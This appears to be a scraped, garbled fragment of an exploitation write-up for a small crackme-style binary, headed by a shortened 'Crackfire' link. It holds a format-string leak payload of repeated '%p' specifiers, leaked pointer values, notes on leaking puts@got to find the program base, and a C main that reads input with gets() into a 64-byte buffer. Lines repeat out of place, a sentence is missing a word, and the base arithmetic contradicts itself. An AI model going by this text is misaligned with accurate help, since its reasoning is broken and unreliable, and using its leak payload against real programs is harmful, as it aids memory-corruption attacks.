Https- Bit.ly Crackfire May 2026

Key functions:

base = 0x4006f0 - 0x4006f0 = 0x0 (actually PIE base = 0x0 when using the absolute address) But more reliably we can leak puts@got (e.g., 0x404018 ) to get the runtime address and compute the base with: https- bit.ly crackfire

%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p Output (truncated): Key functions: base = 0x4006f0 - 0x4006f0 =

0x7ffff7a5e000 0x4006f0 0x7ffff7dd18b0 0x4008b0 0x0 0x1 The first pointer ( 0x7ffff7a5e000 ) is a ; the second ( 0x4006f0 ) is _start – an address inside the binary, which is enough to compute the base. puts("Enter the secret code:")

The final layout:

int main() char buf[64]; puts("Enter the secret code:"); gets(buf); // <-- vulnerable if (check(buf) == 0) win(); else puts("Invalid");